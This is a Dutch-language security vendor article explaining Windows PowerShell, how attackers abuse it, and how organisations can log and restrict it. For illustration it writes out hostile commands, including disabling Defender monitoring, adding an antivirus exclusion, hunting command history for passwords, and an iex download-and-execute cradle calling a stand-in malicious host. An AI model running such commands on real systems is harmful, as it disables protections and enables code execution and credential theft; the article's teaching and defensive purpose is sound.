
Wat is Windows PowerShell?
Windows PowerShell is een krachtige tool voor automatisering. Begrijp de gevolgen voor de beveiliging en hoe u het veilig gebruikt in uw omgeving.

Windows PowerShell is een krachtige scripttaal en command-line shell voor het automatiseren van taken en beheren van configuraties. Deze gids bespreekt de functies en mogelijkheden van PowerShell, waaronder de rol ervan bij systeembeheer en beveiliging.
Leer veelgebruikte PowerShell-opdrachten en best practices voor scripts kennen, en ontdek hoe u PowerShell inzet voor cyberbeveiliging. Kennis van PowerShell is essentieel voor IT-professionals en beveiligingsspecialisten.

Welke gevolgen kan PowerShell hebben voor de waardevolle bedrijfsmiddelen van uw organisatie? Leer de basis van PowerShell, waarom het aantrekkelijk is voor hackers & hoe u uw organisatie beschermt
Microsoft PowerShell is een command-line shell en scripttaal waarmee u taken automatiseert en Windows-systemen beheert. Beheerders en beveiligingsprofessionals gebruiken het vaak om routinetaken te automatiseren, systemen te beheren en te monitoren, en reacties op beveiligingsincidenten te automatiseren. Aanvallers gebruiken PowerShell vaak om ongeoorloofd toegang te krijgen tot systemen en schadelijke code uit te voeren.
Microsoft PowerShell is al sinds 2006 beschikbaar op Windows, maar is nu de opdrachtshell voor Verkenner in Windows 10 en heeft de oude tool cmd.exe grotendeels vervangen. Hoewel gewone gebruikers het vaak als ingewikkeld beschouwen, PowerShell is het dankzij zijn flexibiliteit en kracht essentieel geworden voor IT-teams en netwerkbeheerders. In deze inleidende gids leggen we de basis van PowerShell uit, waarom het aantrekkelijk is voor hackers en malwaremakers, en wat u kunt doen om uw organisatie te beschermen.
Kies uw versie
Als u ‘PowerShell’ typt in het zoekveld van Cortana, krijgt u twee opties te zien, PowerShell ISE en de PowerShell-desktopapp. Bovendien ziet u, als u met de rechtermuisknop op het Startmenu of een van de PowerShell-pictogrammen op de taakbalk klikt, twee manieren om beide versies van PowerShell te starten: als de huidige gebruiker of als beheerder.

Beheerders die veelvoorkomende taken willen automatiseren, gebruiken waarschijnlijk de ISE-interface om PowerShell-modules en -scripts te ontwikkelen, maar voor interactief gebruik kiezen de meesten de PowerShell-desktopapp en voeren die afhankelijk van de taak uit als beheerder of als huidige gebruiker.
U hoort misschien ook over PowerShell Core, een platformonafhankelijke, open-source editie die niet alleen op Windows draait, maar ook op Linux en macOS:

Let hier wel op, want het wordt geïnstalleerd als een niet-ondertekend binair bestand en kan eenvoudig worden vervangen door een schadelijke imitatie. Als u endpoints hebt die PowerShell Core gebruiken, zorg er dan voor dat uw organisatie het ondertekent met een geschikt certificaat, of voer regelmatig shasum-controles uit om te controleren of ermee is geknoeid.
Hoewel de mogelijkheden van de verschillende PowerShell-versies enigszins verschillen, kunnen ze allemaal externe sessies via SSH uitvoeren en communiceren met uiteenlopende processen en services. PowerShell kan zelfs communiceren met het Windows-register en het gebeurtenislogboek. Dat betekent dat een aanvaller met toegang tot PowerShell dezelfde toegang en voordelen heeft.
Benut de kracht
Met twee eenvoudige opdrachten krijgt u een indruk van de mogelijkheden van PowerShell:
Get-Module -ListAvailable
om de beschikbare modules weer te geven, en
Get-Command
om de beschikbare opdrachten weer te geven:

Laten we kort enkele voorbeelden bekijken. Stel dat u (of een aanvaller) door een map met documenten navigeert en snel wilt zien of er iets interessants in staat. Een opdracht zoals de volgende toont de eerste en laatste twee regels van elk tekstbestand in de map, doorzoekt daarbij recursief submappen en neemt verborgen of onzichtbare bestanden mee, en stuurt de uitvoer door naar een ander tekstbestand om later te bekijken of op te halen:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Als iemand zoekt naar documenten die mogelijk beginnen met “Vertrouwelijk” of eindigen met de functie van de auteur, zoals “Chief Financial Officer”, kan dit een snelle, eenvoudige manier zijn om interessante bestanden te vinden.
Een item verwijderen, bijvoorbeeld om sporen van een inbraak uit te wissen, doet u eenvoudig met
Remove-Item <path>
Met PowerShell kunnen gebruikers het besturingssysteem ook op interessante en, helaas, gevaarlijke manieren manipuleren. Als een malwaremaker de vooraf geïnstalleerde Microsoft Defender AV-engine wil omzeilen, kan die met de juiste rechten via een PowerShell-opdracht worden uitgeschakeld:
Set-MpPreference -DisableRealTimeMonitoring $true
of, iets minder opvallend, een schijf of pad uitsluiten van de zoekpaden:
Add-MpPreference -ExclusionPath “c:”
PowerShell maakt het voor aanvallers ook eenvoudig om bijvoorbeeld uw netwerkschijven in kaart te brengen en het gebeurtenislogboek op te vragen, een handige manier om misbruikbare informatie te vinden, met respectievelijk Get-PSDrive en Get-EventLog.

Zowel voor gebruikers als kwaadwillenden is het handig om de geschiedenis te kunnen lezen van opdrachten die interactief op de opdrachtregel zijn ingevoerd, inclusief alle meegegeven argumenten. De geschiedenis wordt opgeslagen op het pad dat deze opdracht weergeeft:
(Get-PSReadLineOption).HistorySavePath
en met cat en de cmdlet Select-String (of de alias sls) kunnen we de opdrachten met “grep” doorzoeken op interessante gegevens (zoals wachtwoorden!):

Scripts & exploitkits
Maar voor kwaadwillenden liggen de beste kansen niet bij het werken met PowerShell op de opdrachtregel. Gevaarlijker is dat PowerShell scripts kan uitvoeren vanuit het geheugen (ook wel “fileless” malware-aanvallen genoemd) en vanaf schijf. Beide kunnen rechtstreeks op een host of op afstand worden uitgevoerd.
Net als de Unix-shellopdracht eval heeft PowerShell Invoke-Expression (en de alias iex), waarmee een schadelijk script in het geheugen kan worden gedownload en uitgevoerd. We kunnen Bypass toevoegen om een beperkend uitvoeringsbeleid te proberen te omzeilen:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Het is dan ook niet verrassend dat al snel complete exploitatieframeworks verschenen die de mogelijkheden van PowerShell volledig benutten.
Een van de eerste is PowerSploit, een verzameling PowerShell-scripts waarmee aanvallers de computer van een slachtoffer kunnen manipuleren en besturen.

PowerShell Empire bouwt voort op PowerSploit en diverse andere projecten. Het is een tool voor na de initiële inbraak die netwerkdetectie kan omzeilen, toetsaanslagen kan registreren en andere modules kan uitvoeren, zoals Mimikatz om wachtwoorden in leesbare tekst, wachtwoordhashes en andere gegevens rechtstreeks uit het geheugen te halen.

De opkomst van PowerShell-aanvallen
PowerShell-scripts en -opdrachten kunnen vanuit andere soorten Windows-bestanden worden uitgevoerd, zoals .exe, .bat, .wsf en .LNK. Dat is een van de redenen waarom PowerShell-gebaseerde malware de afgelopen jaren is toegenomen. Volgens een schatting zijn PowerShell-exploits goed voor bijna 40% van de malware-incidenten. Aanvallers gebruiken PowerShell duidelijk in uiteenlopende campagnes, van ransomware tot diefstal van inloggegevens en banktrojans. PowerShell is ook gebruikt voor klikfraude, het onderscheppen van wachtwoorden en data-exfiltratie.
DNSMessenger is malware die zich via een macro in een Word-document verspreidde. De malware gebruikt op slimme wijze VBA-broncode om gecodeerde PowerShell-opdrachten af te leveren. Daarmee blijft ze actief, levert ze haar payload af en communiceert ze met een C&C-server.
Verrassend genoeg is voor sommige PowerShell-aanvallen zelfs het ingebouwde PowerShell.exe niet nodig. Tools zoals PowerShdll en InsecurePowerShell kunnen scripts rechtstreeks uitvoeren via System.Management.Automation.dll, de bibliotheek waarop het uitvoerbare PowerShell-bestand is gebaseerd. PowerShell.exe is in feite slechts een host of schil voor de eigenlijke code in die dynamische bibliotheek. Aanvallers kunnen dit benutten om vrijwel elk proces PowerShell-scripts en -opdrachten te laten uitvoeren.
Andere creatieve toepassingen van PowerShell zijn het verbergen van een PowerShell-script in de pixels van een PNG-bestand en het genereren van een eenregelige opdracht om het uit te voeren met Invoke-PSImage, of het omzetten van PowerShell-scripts naar een EXE-bestand met tools zoals PS2EXE.
PowerShell beheren
Uit dit alles blijkt waarschijnlijk dat het weinig zin heeft om PowerShell.exe simpelweg te blokkeren. Bovendien zou dat een zware last zijn voor systeembeheerders die op PowerShell vertrouwen. PowerShell en de onderliggende DLL's zijn een integraal onderdeel van Windows. Met de komst van PowerShell Core biedt die technologie ook mogelijkheden voor platformoverschrijdend beheer die voor organisaties essentieel kunnen zijn.
Een effectieve enterprise-oplossing voor de tweeledige aard van PowerShell is er een zoals SentinelOne, die kijkt naar het gedrag van processen die op het endpoint worden uitgevoerd. Dit werkt omdat die processen zich op vergelijkbare wijze gedragen, ongeacht hoe malware-aanvallen worden uitgevoerd. De SentinelOne-agent monitort alle activiteiten op de agent om onderscheid te maken tussen kwaadaardige en onschadelijke activiteiten. Omdat de agent al over de volledige context beschikt: gebruikers, processen, opdrachtregelargumenten, het register, bestanden op de schijf en externe communicatie, kunnen kwaadaardige activiteiten worden ingeperkt, ongeacht de bron.
Vond u dit artikel interessant? Volg ons op LinkedIn, Twitter, YouTube of Facebook om onze berichten te zien.
Lees meer over Windows-beveiliging
- Hancitor-banktrojan is terug | Verspreiding via kwaadaardige Word-bijlage
- SentinelOne detecteert en blokkeert nieuwe variant van Powershell CryptoWorm
- Nieuw bestandstype in Windows 10 kan worden misbruikt om schadelijke applicaties uit te voeren

AI-gestuurde cyberbeveiliging
Verhoog uw beveiliging met realtime detectie, reactiesnelheid en volledig overzicht van uw gehele digitale omgeving.
Veelgestelde vragen over Windows PowerShell
Windows PowerShell is een opdrachtregelshell en scripttaal van Microsoft, gebouwd op het .NET Framework. Met cmdlets—eenvoudige opdrachten in de vorm werkwoord-zelfstandig naamwoord—automatiseert u taken zoals het beheren van het bestandssysteem, het register en services.
PowerShell verwerkt en retourneert objecten in plaats van platte tekst, zodat u gestructureerde gegevens van de ene cmdlet naar de andere kunt doorgeven. Het ondersteunt ook extern beheer, modules en hulp binnen de console voor systeembeheer.
Anders dan het oude CMD gebruikt PowerShell cmdlets met een werkwoord-zelfstandig naamwoordstructuur en werkt het met .NET-objecten in plaats van tekststromen. Daardoor kunt u opdrachten via pipelines aan elkaar koppelen zonder tekst te parseren. PowerShell-scripts kunnen .NET-API's rechtstreeks aanroepen, bieden uitgebreidere foutafhandeling en ondersteunen modules.
Traditionele shells verwerken alleen platte tekst en eenvoudige batchscripts, terwijl PowerShell een volledige scriptomgeving biedt voor automatisering en configuratie.
Door de diepe systeemintegratie en krachtige scriptmogelijkheden is PowerShell populair bij zowel beheerders als aanvallers. Dreigingsactoren gebruiken bestandsloze technieken—waarbij scripts in het geheugen worden uitgevoerd—om detectie te ontwijken.
PowerShell kan beveiligingsmaatregelen uitschakelen, schadelijke code downloaden of inloggegevens stelen zonder naar de schijf te schrijven. Omdat PowerShell alomtegenwoordig is in Windows, moeten verdedigers PowerShell-activiteiten als risicovol behandelen en nauwlettend op misbruik controleren.
Volgens een onderzoek van Cisco speelde PowerShell een rol bij meer dan een derde van de kritieke beveiligingsdreigingen op eindpunten. Carbon Black rapporteerde misbruik van PowerShell bij 38 procent van de incidenten, vaak bij activiteiten na een exploit, zoals laterale verplaatsing of diefstal van inloggegevens.
Hoewel normaal gebruik beperkt is, komt PowerShell voor bij ongeveer één op de veertien bevestigde gevallen van schadelijke activiteit.
Schakel alle PowerShell-logregistratie in: modulelogregistratie, scriptbloklogregistratie en transcriptie. Stel de loggrootte in op minstens 150 MB en verzamel gebeurtenissen uit
Microsoft-Windows-PowerShell/Operational en PowerShellCore/Operational. Stuur logs naar SIEM of XDR. Blokkeer scripts die worden gestart door niet-vertrouwde bovenliggende processen en beperk de uitvoering tot ondertekende scripts. Schakel Protected Event Logging in voor extra details.
Gebruik Just Enough Administration (JEA) om de toegang van gebruikers te beperken tot goedgekeurde cmdlets. Dwing de beperkte taalmodus af om COM, WMI en complexe expressies uit te schakelen. Implementeer Application Control-beleid (bijv. WDAC) om alleen ondertekende scripts toe te staan.
Houd PowerShell bijgewerkt tot v5.1 of hoger. Controleer en verfijn de instellingen voor logregistratie regelmatig, zodat elke scriptuitvoering wordt vastgelegd.
PowerShell volledig blokkeren kan systeembeheer en beheer op afstand verstoren. Microsoft raadt volledige verwijdering af. Beperk de uitvoering in plaats daarvan tot bevoegde beheerders, dwing applicatiecontrole af en voorkom dat PowerShell wordt gestart door niet-vertrouwde bovenliggende processen zoals Office-apps.
In combinatie met logregistratie en monitoring stoppen deze maatregelen het meeste schadelijke gebruik zonder legitieme werkzaamheden te belemmeren.
Met PowerShell kunnen verdedigers incidentrespons automatiseren, snel forensische gegevens verzamelen en dreigingen opsporen. U kunt scripts schrijven om binnen enkele minuten registergegevens, proceslijsten en netwerkverbindingen te verzamelen. Kennis van PowerShell geeft ook inzicht in aanvalstechnieken, omdat veel tools voor activiteiten na een exploit (Empire, Cobalt Strike) PowerShell achter de schermen gebruiken.
PowerShell-scripts kunnen gegevens uit het actieve geheugen, registersleutels voor automatisch starten, gebeurtenislogboeken en netwerkgegevens verzamelen voor triage. Communitytools zoals DFIR-Script automatiseren het verzamelen van bewijsmateriaal op eindpunten. Dreigingsjagers gebruiken PowerShell om Windows Event ID 4104 te doorzoeken op schadelijke scriptblokken, uitvoer te parseren en resultaten door te geven aan SOAR-playbooks. Daarmee is PowerShell een kernonderdeel van workflows voor detectie, beheersing en herstel.




